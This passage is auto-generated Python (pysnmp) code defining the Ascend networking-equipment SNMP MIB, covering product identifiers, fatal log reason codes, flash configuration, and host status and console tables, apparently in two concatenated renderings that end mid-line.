197), ("warningTcpXmitLooping", 198), ("warningOspfFatal", 200), ("warningOspfWarn", 201), ("warningBriJumperNotPresent", 210), ("warningBriJumperConfiguration", 211), ("infoCardBounced", 220), ("infoCardDown", 221), ("warningTacacsplusBase", 300), ("warningTacacsplusPointerInconsistency", 301), ("warningTacacsplusIndexInconsistency", 302), ("warningTacacsplusTcpInconsistency", 303), ("warningTacacsplusTcpOutofrangesocket", 304), ("warningTacacsplusSocketMismatch", 305), ("warningTacacsplusUnexpectedAuthState", 306), ("warningTacacsplusMax", 309), ("warningCidrWrongTree", 310), ("warningCidrNoMem", 311), ("warningCidrBusy", 312), ("warningCidrNonempty", 313), ("warningCidrDupDelete", 314), ("warningSauthWrongInfo", 320), ("warningSauthBadAddr", 321), ("warningGdbProtectionFault", 330), ("warningInFilterList", 381), ("warningNoCountInFilterList", 382), ("warningMismatchCountFilterList", 383), ("warningCdtUnprotectedAccess", 384), ("infoSystemResetOccurred", 385), ("warningBadPowerSupply", 400), ("warningEthernetNoTxBuf", 550), ("warningDspCrashMin", 512), ("warningDspCrashMax", 767), ("warningDspWrongSlot", 768), ("warningUnalignedAccess", 800), ("warningH323NoResources", 801), ("warningExecRestricted", 999), ("warningEthernetCuBusy", 1001), ("warningEthernetAckFailure", 1002), ("warningEthernetReset", 1003), ("warningEthernetCuActive", 1005), ("warningEthernetWaitScb", 1006), ("warningEthernetNoMACAddress", 1007), ("warningBaeepromChange", 2001), ("warningBaeepromImageMismatch", 2002), ("warningFlashTypeBad", 2010), ("warningMaxiopLoadFailure", 2022), ("warningPrimaryHWsetupFailed", 2100), ("warningSecondaryHWsetupFailed", 2101), ("warningIpxsapFilterMagic", 3001), ("warningIpxsapFilterCountZero", 3002), ("warningIpxsapFilterCountMismatch", 3003), ("warningModemTxChannelStuck", 4000), ("warningModemTxChannelRecovered", 4100), ("notApplicable", 9998), ("unknown", 9999)))).setMaxAccess("readonly") if mibBuilder.loadTexts: fatalLogReason.setStatus('mandatory') fatalLogAbsoluteTime = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 8), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: fatalLogAbsoluteTime.setStatus('mandatory') sysConfigFlashCmd = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 15, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("copyPCMCIAtoInternal", 1), ("copyInternalToPCMCIA", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: sysConfigFlashCmd.setStatus('mandatory') sysConfigFlashCopyStatus = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 15, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("ok", 1), ("inProgress", 2), ("failed", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: sysConfigFlashCopyStatus.setStatus('mandatory') sysConfigInternalFlashImageVersion = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 15, 3), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysConfigInternalFlashImageVersion.setStatus('mandatory') sysConfigPCMCIAFlashImageVersion = MibScalar((1, 3, 6, 1, 4, 1, 529, 9, 15, 4), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: sysConfigPCMCIAFlashImageVersion.setStatus('mandatory') mibinternetProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 1)) mibframeRelayProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 2)) mibanswerProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 3)) mibdS3NetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 4)) mibuds3NetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 5)) mibcadslNetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 6)) mibdadslNetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 7)) mibsdslNetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 8)) mibvdslNetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 9)) mibdmtAlDslNetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 10)) miboc3AtmNetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 11)) miblimSparingConfigProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 12)) mibds3AtmNetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 13)) mibhdsl2NetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 14)) mibe3AtmNetworkProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 15)) mibredundancyProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 16)) mibredundancyStatsProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23, 17)) mibBuilder.exportSymbols("ASCEND-MIB", mibe3AtmNetworkProfile=mibe3AtmNetworkProfile, atmpGroup=atmpGroup, hostTypeQuad=hostTypeQuad, dslPipeSdslCoe=dslPipeSdslCoe, consoleType=consoleType, mibdS3NetworkProfile=mibdS3NetworkProfile, callStatusGroup=callStatusGroup, doBegEndRemoteLB=doBegEndRemoteLB, sysSPROMCountries1=sysSPROMCountries1, consoleEntry=consoleEntry, doEntry=doEntry, max=max, pipe50LS56=pipe50LS56, consoleNumber=consoleNumber, sysSecsSinceStartup=sysSecsSinceStartup, sysConfigTftp=sysConfigTftp, sysConfigTftpFilename=sysConfigTftpFilename, dslPipe2S=dslPipe2S, max200=max200, hostStatusChannels=hostStatusChannels, max4002=max4002, voipGroup=voipGroup, max4004=max4004, mibds3AtmNetworkProfile=mibds3AtmNetworkProfile, resetStatWAN=resetStatWAN, sysConfigFlash=sysConfigFlash, fatalLogTable=fatalLogTable, hostTypeAim6=hostTypeAim6, fatalLogTableEntry=fatalLogTableEntry, pipe130T1=pipe130T1, miboc3AtmNetworkProfile=miboc3AtmNetworkProfile, console=console, pipe130N56=pipe130N56, sparingGroup=sparingGroup, doSlotIndex=doSlotIndex, fatalLogAbsoluteTime=fatalLogAbsoluteTime, mibanswerProfile=mibanswerProfile, mibdadslNetworkProfile=mibdadslNetworkProfile, consoleTable=consoleTable, hostStatusDialNum=hostStatusDialNum, slots=slots, mibvdslNetworkProfile=mibvdslNetworkProfile, flashGroup=flashGroup, lanTypeAny=lanTypeAny, consoleIndex=consoleIndex, sysReset=sysReset, fatalLogIndex=fatalLogIndex, configuration=configuration, max_tnt=max_tnt, lanTypeEtherData=lanTypeEtherData, consoleIf=consoleIf, hostStatus=hostStatus, multiShelf=multiShelf, sysConfigFlashCmd=sysConfigFlashCmd, max3000=max3000, doExtendBW=doExtendBW, pipe400=pipe400, mgGroup=mgGroup, sysSPROMOptions2=sysSPROMOptions2, sysLastRestartReason=sysLastRestartReason, fatalLogSoftwareVerion=fatalLogSoftwareVerion, advancedAgent=advancedAgent, apx_8000=apx_8000, pipeline=pipeline, hostStatusCallMgm=hostStatusCallMgm, cltmGroup=cltmGroup, DisplayString=DisplayString, fatalLogReason=fatalLogReason, dslPipeS=dslPipeS, systemStatusGroup=systemStatusGroup, hostStatusSlotIndex=hostStatusSlotIndex, hostStatusItemIndex=hostStatusItemIndex, lanModemGroup=lanModemGroup, doResynchronize=doResynchronize, hostStatusDataSvc=hostStatusDataSvc, sysConfigTftpStatus=sysConfigTftpStatus, pipe85=pipe85, cvmax100=cvmax100, dslPipeAdslCoeC=dslPipeAdslCoeC, hostTypeAim2=hostTypeAim2, hostStatusLocalName=hostStatusLocalName, mibredundancyStatsProfile=mibredundancyStatsProfile, products=products, asgGroup=asgGroup, dslTnt=dslTnt, firewallGroup=firewallGroup, doItemIndex=doItemIndex, hostStatusTable=hostStatusTable, sysAuthPreference=sysAuthPreference, sysConfigInternalFlashImageVersion=sysConfigInternalFlashImageVersion, sysSPROMSerialNumber=sysSPROMSerialNumber, dslmax20=dslmax20, mibsdslNetworkProfile=mibsdslNetworkProfile, stinger_10=stinger_10, sysConfigTftpParameter=sysConfigTftpParameter, terminator=terminator, hostStatusDuration=hostStatusDuration, max1800=max1800, doContractBW=doContractBW, wanDialoutPkt=wanDialoutPkt, powerSupply=powerSupply, resetStatEther=resetStatEther, pipe25Fx=pipe25Fx, lanTypeEthernet=lanTypeEthernet, aqueduct=aqueduct, miblimSparingConfigProfile=miblimSparingConfigProfile, doHangUp=doHangUp, consoleSecurity=consoleSecurity, dslPipeAdmt=dslPipeAdmt, sessionStatusGroup=sessionStatusGroup, sysConfigPCMCIAFlashImageVersion=sysConfigPCMCIAFlashImageVersion, sysLoadName=sysLoadName, max4000=max4000, pipe220=pipe220, resetStatAll=resetStatAll, doBegEndBERT=doBegEndBERT, miscGroup=miscGroup, pipe130V35=pipe130V35, pipe25=pipe25, dslPipeAdslCoeD=dslPipeAdslCoeD, ascend=ascend, spipe155T1=spipe155T1, pipe25Px=pipe25Px, multiband=multiband, mibhdsl2NetworkProfile=mibhdsl2NetworkProfile, mibdmtAlDslNetworkProfile=mibdmtAlDslNetworkProfile, spipe95=spipe95, resetStat=resetStat, dslPipeAlctlDmt=dslPipeAlctlDmt, sysConfigRadiusCmd=sysConfigRadiusCmd, lanTypes=lanTypes, hostStatusCallState=hostStatusCallState, sysConfigTftpPort=sysConfigTftpPort, sysConfigTftpCmd=sysConfigTftpCmd, sysConfigRadiusStatus=sysConfigRadiusStatus, sysAbsoluteStartupTime=sysAbsoluteStartupTime, fatalLogUserprofile=fatalLogUserprofile, fatalLogSlotIndex=fatalLogSlotIndex, mCastGroup=mCastGroup, max800=max800, aq300=aq300, eventGroup=eventGroup, hostTypeAny=hostTypeAny, sysMibMinorRevNum=sysMibMinorRevNum, consoleSpecific=consoleSpecific, doDial=doDial, mibinternetProfile=mibinternetProfile, mibredundancyProfile=mibredundancyProfile, dslPipeSdslCoe2S=dslPipeSdslCoe2S, fatalLogLoadName=fatalLogLoadName, sysConfigChange=sysConfigChange, srvcMgmtGroup=srvcMgmtGroup, max6000=max6000, hostStatusEntry=hostStatusEntry, sysConfigRadius=sysConfigRadius, mibuds3NetworkProfile=mibuds3NetworkProfile, max2000=max2000, pipe15=pipe15, sysSPROMOptions1=sysSPROMOptions1, radiusGroup=radiusGroup, sysSPROM=sysSPROM, hostTypes=hostTypes, sysAbsoluteCurrentTime=sysAbsoluteCurrentTime, mibcadslNetworkProfile=mibcadslNetworkProfile, doAnswer=doAnswer, sysMibVersionNum=sysMibVersionNum, hostStatusCallType=hostStatusCallType, resourcesGroup=resourcesGroup, dslPipe50SdslCell=dslPipe50SdslCell, sysConfigTftpHostAddr=sysConfigTftpHostAddr, dslPipeSdslHs=dslPipeSdslHs, fatalLogLocation=fatalLogLocation, hostStatusRemName=hostStatusRemName, doGroup=doGroup, doTable=doTable, hostTypeDual=hostTypeDual, dslPipeAcap=dslPipeAcap, mibframeRelayProfile=mibframeRelayProfile, pipe50=pipe50, callLoggingGroup=callLoggingGroup, pipe75=pipe75, sysConfigFlashCopyStatus=sysConfigFlashCopyStatus)
(integer, object_identifier, octet_string) = mibBuilder.importSymbols('ASN1', 'Integer', 'ObjectIdentifier', 'OctetString') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (constraints_intersection, single_value_constraint, value_range_constraint, value_size_constraint, constraints_union) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ConstraintsIntersection', 'SingleValueConstraint', 'ValueRangeConstraint', 'ValueSizeConstraint', 'ConstraintsUnion') (notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance') (enterprises, counter64, notification_type, module_identity, iso, mib_scalar, mib_table, mib_table_row, mib_table_column, object_identity, ip_address, bits, integer32, counter32, mib_identifier, gauge32, unsigned32, time_ticks) = mibBuilder.importSymbols('SNMPv2-SMI', 'enterprises', 'Counter64', 'NotificationType', 'ModuleIdentity', 'iso', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'ObjectIdentity', 'IpAddress', 'Bits', 'Integer32', 'Counter32', 'MibIdentifier', 'Gauge32', 'Unsigned32', 'TimeTicks') (display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention') class Displaystring(OctetString): pass ascend = mib_identifier((1, 3, 6, 1, 4, 1, 529)) products = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1)) slots = mib_identifier((1, 3, 6, 1, 4, 1, 529, 2)) host_types = mib_identifier((1, 3, 6, 1, 4, 1, 529, 3)) advanced_agent = mib_identifier((1, 3, 6, 1, 4, 1, 529, 4)) lan_types = mib_identifier((1, 3, 6, 1, 4, 1, 529, 5)) do_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 6)) host_status = mib_identifier((1, 3, 6, 1, 4, 1, 529, 7)) console = mib_identifier((1, 3, 6, 1, 4, 1, 529, 8)) system_status_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 9)) event_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 10)) call_status_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 11)) session_status_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 12)) radius_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 13)) m_cast_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 14)) lan_modem_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 15)) firewall_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 16)) wan_dialout_pkt = mib_identifier((1, 3, 6, 1, 4, 1, 529, 17)) power_supply = mib_identifier((1, 3, 6, 1, 4, 1, 529, 18)) multi_shelf = mib_identifier((1, 3, 6, 1, 4, 1, 529, 19)) misc_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 20)) asg_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 21)) flash_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 22)) configuration = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23)) atmp_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 24)) call_logging_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 25)) srvc_mgmt_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 26)) resources_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 27)) voip_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 28)) mg_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 29)) sparing_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 30)) cltm_group = mib_identifier((1, 3, 6, 1, 4, 1, 529, 31)) multiband = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 1)) max = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2)) pipeline = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3)) max_tnt = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 4)).setLabel('max-tnt') dsl_tnt = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 5)) aqueduct = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 6)) stinger_10 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 7)).setLabel('stinger-10') apx_8000 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 8)).setLabel('apx-8000') max200 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 1)) max1800 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 2)) max2000 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 3)) max4000 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 4)) max4002 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 5)) max4004 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 6)) max6000 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 7)) max800 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 8)) max3000 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 9)) dslmax20 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 10)) terminator = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 11)) cvmax100 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 12)) pipe15 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 1)) pipe25 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 2)) pipe25_px = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 3)) pipe25_fx = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 4)) pipe50 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 5)) pipe75 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 6)) pipe130_t1 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 7)) pipe400 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 8)) pipe220 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 9)) dsl_pipe_acap = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 10)) dsl_pipe_s = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 11)) dsl_pipe2_s = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 12)) dsl_pipe_admt = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 21)) dsl_pipe_alctl_dmt = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 22)) dsl_pipe_adsl_coe_c = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 13)) dsl_pipe_sdsl_coe = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 14)) dsl_pipe_sdsl_coe2_s = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 15)) dsl_pipe_adsl_coe_d = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 20)) pipe85 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 16)) pipe50_ls56 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 17)) pipe130_v35 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 18)) pipe130_n56 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 19)) spipe95 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 23)) spipe155_t1 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 24)) dsl_pipe50_sdsl_cell = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 25)) dsl_pipe_sdsl_hs = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 26)) aq300 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 1, 6, 1)) host_type_any = mib_identifier((1, 3, 6, 1, 4, 1, 529, 3, 1)) host_type_dual = mib_identifier((1, 3, 6, 1, 4, 1, 529, 3, 2)) host_type_quad = mib_identifier((1, 3, 6, 1, 4, 1, 529, 3, 3)) host_type_aim2 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 3, 4)) host_type_aim6 = mib_identifier((1, 3, 6, 1, 4, 1, 529, 3, 5)) lan_type_any = mib_identifier((1, 3, 6, 1, 4, 1, 529, 5, 1)) lan_type_ethernet = mib_identifier((1, 3, 6, 1, 4, 1, 529, 5, 2)) lan_type_ether_data = mib_identifier((1, 3, 6, 1, 4, 1, 529, 5, 3)) do_table = mib_table((1, 3, 6, 1, 4, 1, 529, 6, 1)) if mibBuilder.loadTexts: doTable.setStatus('mandatory') do_entry = mib_table_row((1, 3, 6, 1, 4, 1, 529, 6, 1, 1)).setIndexNames((0, 'ASCEND-MIB', 'doSlotIndex'), (0, 'ASCEND-MIB', 'doItemIndex')) if mibBuilder.loadTexts: doEntry.setStatus('mandatory') do_slot_index = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: doSlotIndex.setStatus('mandatory') do_item_index = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: doItemIndex.setStatus('mandatory') do_dial = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('valid', 1), ('notValid', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: doDial.setStatus('mandatory') do_hang_up = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('valid', 1), ('notValid', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: doHangUp.setStatus('mandatory') do_answer = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('valid', 1), ('notValid', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: doAnswer.setStatus('mandatory') do_extend_bw = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('valid', 1), ('notValid', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: doExtendBW.setStatus('mandatory') do_contract_bw = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('valid', 1), ('notValid', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: doContractBW.setStatus('mandatory') do_beg_end_remote_lb = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('valid', 1), ('notValid', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: doBegEndRemoteLB.setStatus('mandatory') do_beg_end_bert = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 9), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('valid', 1), ('notValid', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: doBegEndBERT.setStatus('mandatory') do_resynchronize = mib_table_column((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 10), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('valid', 1), ('notValid', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: doResynchronize.setStatus('mandatory') host_status_table = mib_table((1, 3, 6, 1, 4, 1, 529, 7, 1)) if mibBuilder.loadTexts: hostStatusTable.setStatus('mandatory') host_status_entry = mib_table_row((1, 3, 6, 1, 4, 1, 529, 7, 1, 1)).setIndexNames((0, 'ASCEND-MIB', 'hostStatusSlotIndex'), (0, 'ASCEND-MIB', 'hostStatusItemIndex')) if mibBuilder.loadTexts: hostStatusEntry.setStatus('mandatory') host_status_slot_index = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusSlotIndex.setStatus('mandatory') host_status_item_index = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusItemIndex.setStatus('mandatory') host_status_local_name = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 3), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusLocalName.setStatus('mandatory') host_status_dial_num = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 4), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusDialNum.setStatus('mandatory') host_status_call_type = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('aim', 1), ('bonding', 2), ('one-channel', 3), ('two-channel', 4), ('ft1', 5), ('ft1Aim', 6), ('ft1BandO', 7)))).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusCallType.setStatus('mandatory') host_status_call_mgm = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11))).clone(namedValues=named_values(('none', 1), ('manual', 2), ('static', 3), ('dynamic', 4), ('delta', 5), ('one-of-8', 6), ('one-of-40', 7), ('mode1', 8), ('mode2', 9), ('mode3', 10), ('mode0', 11)))).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusCallMgm.setStatus('mandatory') host_status_data_svc = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57))).clone(namedValues=named_values(('serviceVoice', 1), ('service56KR', 2), ('service56K', 3), ('service64K', 4), ('service384KR', 5), ('service384K-H0', 6), ('service1536K', 7), ('service1536KR', 8), ('service128K', 9), ('service192K', 10), ('service256K', 11), ('service320K', 12), ('service384K', 13), ('service448K', 14), ('service512K', 15), ('service576K', 16), ('service640K', 17), ('service704K', 18), ('service768K', 19), ('service832K', 20), ('service896K', 21), ('service960K', 22), ('service1024K', 23), ('service1088K', 24), ('service1152K', 25), ('service1216K', 26), ('service1280K', 27), ('service1344K', 28), ('service1408K', 29), ('service1472K', 30), ('service1600K', 31), ('service1664K', 32), ('service1728K', 33), ('service1792K', 34), ('service1856K', 35), ('service1920K', 36), ('serviceModem', 37), ('serviceV110-24-56K', 38), ('serviceV110-48-56K', 39), ('serviceV110-96-56K', 40), ('serviceV110-192-56K', 41), ('serviceV110-384-56K', 42), ('serviceV110-24-56KR', 43), ('serviceV110-48-56KR', 44), ('serviceV110-96-56KR', 45), ('serviceV110-192-56KR', 46), ('serviceV110-384-56KR', 47), ('serviceV110-24-64K', 48), ('serviceV110-48-64K', 49), ('serviceV110-96-64K', 50), ('serviceV110-192-64K', 51), ('serviceV110-384-64K', 52), ('serviceV110-24-64KR', 53), ('serviceV110-48-64KR', 54), ('serviceV110-96-64KR', 55), ('serviceV110-192-64KR', 56), ('serviceV110-384-64KR', 57)))).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusDataSvc.setStatus('mandatory') host_status_call_state = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17))).clone(namedValues=named_values(('other', 1), ('answering', 2), ('calling', 3), ('clearing', 4), ('localLoop', 5), ('handshake', 6), ('idle', 7), ('online', 8), ('loopMast', 9), ('loopSlav', 10), ('bertMast', 11), ('bertSlav', 12), ('remoteMg', 13), ('ringing', 14), ('setupAdd', 15), ('setupHnd', 16), ('setupRem', 17)))).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusCallState.setStatus('mandatory') host_status_rem_name = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 9), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusRemName.setStatus('mandatory') host_status_channels = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 10), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusChannels.setStatus('mandatory') host_status_duration = mib_table_column((1, 3, 6, 1, 4, 1, 529, 7, 1, 1, 11), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: hostStatusDuration.setStatus('mandatory') console_number = mib_scalar((1, 3, 6, 1, 4, 1, 529, 8, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: consoleNumber.setStatus('mandatory') console_table = mib_table((1, 3, 6, 1, 4, 1, 529, 8, 2)) if mibBuilder.loadTexts: consoleTable.setStatus('mandatory') console_entry = mib_table_row((1, 3, 6, 1, 4, 1, 529, 8, 2, 1)).setIndexNames((0, 'ASCEND-MIB', 'consoleIndex')) if mibBuilder.loadTexts: consoleEntry.setStatus('mandatory') console_index = mib_table_column((1, 3, 6, 1, 4, 1, 529, 8, 2, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: consoleIndex.setStatus('mandatory') console_if = mib_table_column((1, 3, 6, 1, 4, 1, 529, 8, 2, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: consoleIf.setStatus('mandatory') console_type = mib_table_column((1, 3, 6, 1, 4, 1, 529, 8, 2, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('other', 1), ('primary', 2), ('secondary', 3), ('palmtop', 4), ('inactive', 5), ('remote', 6)))).setMaxAccess('readonly') if mibBuilder.loadTexts: consoleType.setStatus('mandatory') console_security = mib_table_column((1, 3, 6, 1, 4, 1, 529, 8, 